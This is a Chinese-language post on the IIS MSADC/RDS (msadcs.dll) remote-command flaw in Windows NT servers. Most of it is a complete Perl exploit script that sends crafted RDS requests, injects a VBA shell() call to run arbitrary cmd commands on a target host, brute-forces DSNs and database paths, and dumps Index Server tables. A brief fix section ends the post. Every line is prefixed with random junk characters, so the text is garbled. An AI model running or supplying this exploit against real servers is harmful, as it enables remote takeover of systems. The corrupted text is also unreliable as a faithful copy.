IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]%Q]C
8[C w7*b}D@65\ 涉及程序：
P/1UCITq} Microsoft NT server
|<+|Du1 L]L~TA<D9i 描述：
@e?[oojrM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i1_>>49* Kj1#R 详细：
}:c,S O! 如果你没有时间读详细内容的话，就删除:
7&;jje[
<g c:\Program Files\Common Files\System\Msadc\msadcs.dll
;]#4p8lh+ 有关的安全问题就没有了。
;o)`9<es!2 .KwuhmR 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
a@a1TpLQ %\z COfN 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
l_q>(FoqA 关于利用ODBC远程漏洞的描述，请参看:
[: hy L_zmU_zD http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [Yah xw} (82\&dfy 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
g$^qQs)^N http://www.microsoft.com/security/bulletins/MS99-025faq.asp GYb2m"a) Xw}Y!;<IEu 这里不再论述。
yM#trqv5 5,
"^"*@< 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
-z~ V 3PR7g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
tx&U "] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
` S~@ FX j}?ZsnqV .X=M ! #将下面这段保存为txt文件，然后: "perl -x 文件名"
B+q+)O+ n+F-,=0 #!perl
(+Nmio #
$> r fAs! # MSADC/RDS 'usage' (aka exploit) script
!=Kay^J~. #
x ;?1# W # by rain.forest.puppy
5SWX v+ #
CO)b'V, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]v, y(yl # beta test and find errors!
]!Aze^7; ~JmxW;|_x) use Socket; use Getopt::Std;
\g6 # MNW getopts("e:vd:h:XR", \%args);
o)' =D( }${ZI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ALt";8Oa ~\s &]L if (!defined $args{h} && !defined $args{R}) {
.2 SIU4[P print qq~
XJ1nh E Usage: msadc.pl -h <host> { -d <delay> -X -v }
[j+0EVwB -h <host> = host you want to scan (ip or domain)
+ so o2cb -d <seconds> = delay between calls, default 1 second
y7G|P~td -X = dump Index Server path table, if available
]O(HZ D% -v = verbose
9(evHR7 -e = external dictionary file for step 5
VA
r?teY uKAHJ$% Or a -R will resume a command session
_G8y9!J _itN.^ ~; exit;}
AJ1$$c z'}t@R#H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/s0VyUV= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
89e. \EH if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;\&bvGj8V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
f'yd {ihFp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l aL4ez if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:Y?08/V =Q 0 )t_z_ if (!defined $args{R}){ $ret = &has_msadc;
*oJ>4S die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5lA 8e ^@w1Z{: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_
~$0cj< . "cmd /c ";
NU\t3JaR $in=<STDIN>; chomp $in;
(8X8<>w~ $command="cmd /c " . $in ;
KNyD}1 S5 oHe4#89 if (defined $args{R}) {&load; exit;}
|;1:$E " l:C0:m% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}8KL]11b &try_btcustmr;
!-o||rt &CsBG?@Z| print "\nStep 2: Trying to make our own DSN...";
R =c &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#^ [N4uV 6h*bcb#C print "\nStep 3: Trying known DSNs...";
J3J RWy@?P &known_dsn;
iQR})=Q Fi=8B&j print "\nStep 4: Trying known .mdbs...";
SmEd'YD!J &known_mdb;
\z?;6A 6Kc7@oO~ if (defined $args{e}){
NOr*+N\ print "\nStep 5: Trying dictionary of DSN names...";
-Z& {$J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+|w~j#j9` mZ&Mj.0+~ print "Sorry Charley...maybe next time?\n";
_4#psxl[M exit;
83(P_Y: ng6p# F,3 ##############################################################################
I8>1RXz `\uv+^x{ sub sendraw { # ripped and modded from whisker
pKlT.<X7 sleep($delay); # it's a DoS on the server! At least on mine...
S|h
m my ($pstr)=@_;
z4UQ:z@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`^h##WaXap die("Socket problems\n");
@G{DOxE* if(connect(S,pack "SnA4x8",2,80,$target)){
|#kf.kN select(S); $|=1;
gV>\lMc[-% print $pstr; my @in=<S>;
i-W2!; G select(STDOUT); close(S);
$1
\!Oe[i return @in;
'bO? =+c } else { die("Can't connect...\n"); }}
8LKZ3Y| lL f01sa4 ##############################################################################
] /naH#8G J}u1\Id% sub make_header { # make the HTTP request
\ku{-^ 7 my $msadc=<<EOT
AlhiF\+ C POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZDD|MH User-Agent: ACTIVEDATA
5gEWLLDp Host: $ip
8jx1W9=`9[ Content-Length: $clen
TzXl ?N Connection: Keep-Alive
v wD(J.; DKCy h` ADCClientVersion:01.06
h --!pE+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R;ug+ N IbQ~f+y&2 --!ADM!ROX!YOUR!WORLD!
)ciHY6 Content-Type: application/x-varg
pLcng[ Content-Length: $reqlen
_n gMC]-T nuA!Jln_ EOT
GlZDuU ; $msadc=~s/\n/\r\n/g;
Kf5 p* AI return $msadc;}
_kLoDju% C#0Wo ##############################################################################
'2#fkH[. >>x V-1h: sub make_req { # make the RDS request
*(IO<KAg8 my ($switch, $p1, $p2)=@_;
" <AljgF my $req=""; my $t1, $t2, $query, $dsn;
FeMu`| 2 <K'gvMG[ if ($switch==1){ # this is the btcustmr.mdb query
( #Aq*2Z. $query="Select * from Customers where City=" . make_shell();
;OyM~T gI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
sva$@y7b $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\ 2b9A' d> Ut =y`]F elsif ($switch==2){ # this is general make table query
K`<P^XJr $query="create table AZZ (B int, C varchar(10))";
GUX X|W[6 $dsn="$p1";}
xFnMXh t F,:VL*.5kJ elsif ($switch==3){ # this is general exploit table query
s l 5wX $query="select * from AZZ where C=" . make_shell();
+w5?{J $dsn="$p1";}
2>s;xZ@/'R ugP R)tDfM elsif ($switch==4){ # attempt to hork file info from index server
?[">%^ $query="select path from scope()";
4 X Q?By $dsn="Provider=MSIDXS;";}
U7=Z.*/62 _Pal)re]U elsif ($switch==5){ # bad query
y_#wR/E)u{ $query="select";
= ByW` $dsn="$p1";}
(*]Y<ve hn .fX:} $t1= make_unicode($query);
m qw.v$> $t2= make_unicode($dsn);
~3 (>_r $req = "\x02\x00\x03\x00";
ha 5\T' $req.= "\x08\x00" . pack ("S1", length($t1));
_,Y79 b6 $req.= "\x00\x00" . $t1 ;
hT#mM*` $req.= "\x08\x00" . pack ("S1", length($t2));
H[C n@XE $req.= "\x00\x00" . $t2 ;
@gz?T;EC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4|thDb)] return $req;}
`^[ra% a V5MbW XgR ##############################################################################
Hua8/:![+ h,g~J-x`| sub make_shell { # this makes the shell() statement
ZAwl,N){ return "'|shell(\"$command\")|'";}
w@We,FUJN z_TK
(;j ##############################################################################
yfrgYA 8%Lg)hvl sub make_unicode { # quick little function to convert to unicode
7Cjrh "al" my ($in)=@_; my $out;
J)]W[N k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@<L. #gtP return $out;}
CqV
\:50g $mlcaH ##############################################################################
]&>)=b!, #96a7K sub rdo_success { # checks for RDO return success (this is kludge)
;Wdo* ysW my (@in) = @_; my $base=content_start(@in);
40XI\yE_? if($in[$base]=~/multipart\/mixed/){
N 1rrKyL!$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
COafVlJ,l return 0;}
\D=B-dREq J/Li{xp)Lg ##############################################################################
l ki(_ @3
8:MYeE5 sub make_dsn { # this makes a DSN for us
Q@R8qc=* my @drives=("c","d","e","f");
(%1*<6ka print "\nMaking DSN: ";
*:(t.iL foreach $drive (@drives) {
$fKWB5p|() print "$drive: ";
lk|/N^8M my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4M} /PoJ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<:w7^m . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
zFI bCv8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(WC< X Kf return 0 if $2 eq "404"; # not found/doesn't exist
M-_)CR if($2 eq "200") {
sr4K-|@ foreach $line (@results) {
6822xk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tp"\ } return 0;}
e_SlM=_ u _+i-) ##############################################################################
l_WY];a jBM>Pe^`3 sub verify_exists {
$8)/4P?OL my ($page)=@_;
#@ G2n@Hj my @results=sendraw("GET $page HTTP/1.0\n\n");
}V{,
kK return $results[0];}
iVRz 'J}lnt[V ##############################################################################
9 +6"<r! H;8(y4; sub try_btcustmr {
Qk=
w ,` my @drives=("c","d","e","f");
4p]Y`];U my @dirs=("winnt","winnt35","winnt351","win","windows");
%{Gqhb=u\ 5"+* c@L foreach $dir (@dirs) {
i~4Kek6,I print "$dir -> "; # fun status so you can see progress
S1. "2AxO foreach $drive (@drives) {
s*;~CH-[ print "$drive: "; # ditto
UOyP6ej $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U4g ZW]F $reqlenlen=length( "$reqlen" );
`#hy'S:e
$clen= 206 + $reqlenlen + $reqlen;
2mRso.Ah XB?!V|bno my @results=sendraw(make_header() . make_req(1,$drive,$dir));
KE_Ze\ P if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
pR $c<p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\hz)oC U1Oq"Ij~ ##############################################################################
|kn}iA@72p @0G} Q sub odbc_error {
O3 Uu{'=0 my (@in)=@_; my $base;
8^T' a^Wt my $base = content_start(@in);
_Uq'eZol if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R9HRbVBJf $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"3K0 wR5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<"- s N $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|67UN U return $in[$base+4].$in[$base+5].$in[$base+6];}
*m 7e>]- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ZISR]xay print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V:lDR20*\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
" H({kmR m$kmoY/ ##############################################################################
6 -o Qs? `
H"5nQRV sub verbose {
NQb?&.C my ($in)=@_;
8/=2N return if !$verbose;
L .5GX 29 print STDOUT "\n$in\n";}
c;WS !. w v1R
]3} ##############################################################################
TS-[p d (mzyA%;W sub save {
_ &T$0SZco my ($p1, $p2, $p3, $p4)=@_;
2iUF%> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@{bf]Oc print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!"wIb.j }0 close OUT;}
QRRZMdEGs[ up`6IWlLE ##############################################################################
_*+M'3&= yO !*pC sub load {
h0GXN\xI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
hAY_dM open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[=iq4F'7 @p=<IN>; close(IN);
f"[C3o2P $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(Fu9lW}n $target= inet_aton($ip) || die("inet_aton problems");
35ng_,t $ print "Resuming to $ip ...";
</fzBaTo $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
V3UEuA if($p[1]==1) {
]$7|1-&Y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=[P || $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f}fM %0/5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bv+PbK]iO if (rdo_success(@results)){print "Success!\n";}
n9#@
e}r else { print "failed\n"; verbose(odbc_error(@results));}}
wBr0s *1I elsif ($p[1]==3){
Z$q}y
79^ if(run_query("$p[3]")){
A y{4R print "Success!\n";} else { print "failed\n"; }}
]WS 7l @ elsif ($p[1]==4){
{P*RA'H3G if(run_query($drvst . "$p[3]")){
u+ -}| print "Success!\n"; } else { print "failed\n"; }}
a+Z/=YUR exit;}
Y,+$vj:y8 CzwnmSv{. ##############################################################################
H7uW|'XWz +UB. M sub create_table {
KjhOz%Yt[o my ($in)=@_;
S -im
o $reqlen=length( make_req(2,$in,"") ) - 28;
H:CwUFL $reqlenlen=length( "$reqlen" );
VH8,!# Q; $clen= 206 + $reqlenlen + $reqlen;
i#
QI}r my @results=sendraw(make_header() . make_req(2,$in,""));
$:>K-4X\} return 1 if rdo_success(@results);
ZN.
#g_ my $temp= odbc_error(@results); verbose($temp);
(u~@@d" return 1 if $temp=~/Table 'AZZ' already exists/;
Cjw|.c` return 0;}
1v`*%95 _- { > e ##############################################################################
]":PO4M$* ,Q^.SHP8 sub known_dsn {
}4$UlT A' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
. }^m8PP my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vzfWPjpKW "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Nkc=@l { "banner", "banners", "ads", "ADCDemo", "ADCTest");
/W fpA\4S 0;)4.*t
foreach $dSn (@dsns) {
|TkO'QN print ".";
|A"zxNeS" next if (!is_access("DSN=$dSn"));
xw ` Pq6 if(create_table("DSN=$dSn")){
gx3arVa print "$dSn successful\n";
< _ h if(run_query("DSN=$dSn")){
"zv?qS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hivWQ$6% print "Something's borked. Use verbose next time\n";}}} print "\n";}
X'O 3)Yg Wq]^1g_ ##############################################################################
M4`qi3I Fvg>>HVu sub is_access {
,XR1N$LN8_ my ($in)=@_;
3~Ah8, $reqlen=length( make_req(5,$in,"") ) - 28;
[V
=O $X_ $reqlenlen=length( "$reqlen" );
p?ICZg: $clen= 206 + $reqlenlen + $reqlen;
xse8 fGs my @results=sendraw(make_header() . make_req(5,$in,""));
8^ kw my $temp= odbc_error(@results);
d tJ?J<m} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{"-u aH>, return 0;}
3b~k)t4R J#MUtpPdQ ##############################################################################
l7\Bq+Q I_\j05 sub run_query {
ih~ R?W my ($in)=@_;
!?,rcgi $reqlen=length( make_req(3,$in,"") ) - 28;
2Lm.;l4YO $reqlenlen=length( "$reqlen" );
qEE
V& $clen= 206 + $reqlenlen + $reqlen;
NU O9 , my @results=sendraw(make_header() . make_req(3,$in,""));
/alJN`g return 1 if rdo_success(@results);
i ,ga2{GnM my $temp= odbc_error(@results); verbose($temp);
Ub3^Js!b% return 0;}
`i;f <8~bb- U$ ##############################################################################
M/T
ll]\| BVU>M*k sub known_mdb {
q9|'!m5K my @drives=("c","d","e","f","g");
`5:b=^'D / my @dirs=("winnt","winnt35","winnt351","win","windows");
8a)lrIg my $dir, $drive, $mdb;
mSr(PIH{\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PCtf&U " 5,'K~hz # this is sparse, because I don't know of many
^Yul|0*J my @sysmdbs=( "\\catroot\\icatalog.mdb",
zr2oU '+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yC pU1 73V "\\system32\\certmdb.mdb",
wX[g\,?}' "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
IBZ_xU\2 ,:;ZzHzR0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?`8jn$W^ "\\cfusion\\cfapps\\forums\\forums_.mdb",
8(]*J8/wt "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
E0G"B' x "\\cfusion\\cfapps\\security\\realm_.mdb",
0.!_k )tu "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"dQ02y "\\cfusion\\database\\cfexamples.mdb",
m5`<XwD9 "\\cfusion\\database\\cfsnippets.mdb",
v;1<K@UT "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5 Sl vCL "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
BS!VAHO"V "\\cfusion\\brighttiger\\database\\cleam.mdb",
\xR1|M "\\cfusion\\database\\smpolicy.mdb",
b*(74 >XY "\\cfusion\\database\cypress.mdb",
E+)3n[G "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
n
'gU "\\website\\cgi-win\\dbsample.mdb",
ir !/{IQx "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Bq@_/*'*Y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
hv
( >9N ); #these are just
7Ji|x{`` foreach $drive (@drives) {
,v ,#f
. foreach $dir (@dirs){
Qh3BI?GZ'3 foreach $mdb (@sysmdbs) {
}LeizbU print ".";
m9M#)< @* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
P:KS* lOp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
4MUN1/DId` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
stQ Rl_(' print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#p$iWY >e~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
y rH@:D/ =Z}$X:
$ foreach $drive (@drives) {
gjFpM.D-. foreach $mdb (@mdbs) {
0i[v,eS print ".";
y!eT>4Oyg if(create_table($drv . $drive . $dir . $mdb)){
;8m) a print "\n" . $drive . $dir . $mdb . " successful\n";
"l Lwgh; if(run_query($drv . $drive . $dir . $mdb)){
H< 51dJn~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^pwT8Bp } else { print "Something's borked. Use verbose next time\n"; }}}}
}l"pxp1K }
Sq:,6bcG l]R=I2t ##############################################################################
[] cF*en _3%eIyk4T sub hork_idx {
u'`eCrKT* print "\nAttempting to dump Index Server tables...\n";
;|U
!\Xp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
!:baG]Y $reqlen=length( make_req(4,"","") ) - 28;
*{DpNV8" $reqlenlen=length( "$reqlen" );
duQ , 6 $clen= 206 + $reqlenlen + $reqlen;
+cWo^ d. my @results=sendraw2(make_header() . make_req(4,"",""));
g|TWoRx: if (rdo_success(@results)){
@k+ K_gR my $max=@results; my $c; my %d;
/Ixv{H)H for($c=19; $c<$max; $c++){
f*o+g:]3 $results[$c]=~s/\x00//g;
r:3h 2J[_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
\:-"? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
hg7^#f95u $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Zz/
z7~ { $d{"$1$2"}="";}
WYJH+"@%j foreach $c (keys %d){ print "$c\n"; }
F
~SA3M: } else {print "Index server doesn't seem to be installed.\n"; }}
ZSvU1T8 9x`1VR
: ##############################################################################
&8\6%C ij5|P4Eka sub dsn_dict {
Nnx dO0X open(IN, "<$args{e}") || die("Can't open external dictionary\n");
t # d{hEr while(<IN>){
8Wba Hw_ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Uz =OTM next if (!is_access("DSN=$dSn"));
\r1nMw 3& if(create_table("DSN=$dSn")){
PCx: print "$dSn successful\n";
HjCe/J ; if(run_query("DSN=$dSn")){
eHb@qKnf print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hh!4 DHv print "Something's borked. Use verbose next time\n";}}}
<c% print "\n"; close(IN);}
<P~p n!F} d k/f_m ##############################################################################
F1*xY%Jv^M !mH
!W5& sub sendraw2 { # ripped and modded from whisker
uN&UYJ' B sleep($delay); # it's a DoS on the server! At least on mine...
(&MtK1;; my ($pstr)=@_;
%/oeV;D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Cz|F%>y# die("Socket problems\n");
NK\0X5##. if(connect(S,pack "SnA4x8",2,80,$target)){
i&^]qL|J print "Connected. Getting data";
&yRR!1n)H open(OUT,">raw.out"); my @in;
?U+nR/H:6 select(S); $|=1; print $pstr;
DGbEQiX$\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
_ 9yW; i- close(OUT); select(STDOUT); close(S); return @in;
#f@}$@ } else { die("Can't connect...\n"); }}
% oJH 6F 6L"b O'_5K ##############################################################################
!&},h= ;;S9kNp^v sub content_start { # this will take in the server headers
}Q a my (@in)=@_; my $c;
GC`/\~TM for ($c=1;$c<500;$c++) {
v, |jmv+: if($in[$c] =~/^\x0d\x0a/){
[}I|tb>Pg if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
9zl-C*9vj else { return $c+1; }}}
vM?,#:5 return -1;} # it should never get here actually
<ivq}(%72 v]\T&w%9 ##############################################################################
l6-
n{zG 6zIK%< sub funky {
)>tT ""yEl my (@in)=@_; my $error=odbc_error(@in);
{b|V;/ if($error=~/ADO could not find the specified provider/){
Q[c:A@oW print "\nServer returned an ADO miscofiguration message\nAborting.\n";
B[~Q0lPih exit;}
D@ %!|: if($error=~/A Handler is required/){
5(t hD Z ! print "\nServer has custom handler filters (they most likely are patched)\n";
QtA@ p exit;}
MxOI e|=& if($error=~/specified Handler has denied Access/){
</pt($ print "\nServer has custom handler filters (they most likely are patched)\n";
@HE<\Z{ KI exit;}}
.P#t"oW} [9d\WPLC ##############################################################################
;OC{B}.vH }{}?mQ sub has_msadc {
G<P/COI#M5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[0D.+("EW my $base=content_start(@results);
>} B53.;.k return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
c*r@QmB: return 0;}
9a#Y
D;-p LJA
uTg ########################
5Y 7 %Z m2HO .ljc OaKr_m 解决方案：
tkQrxa| 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?rY +,nQP 2、移除web 目录: /msadc
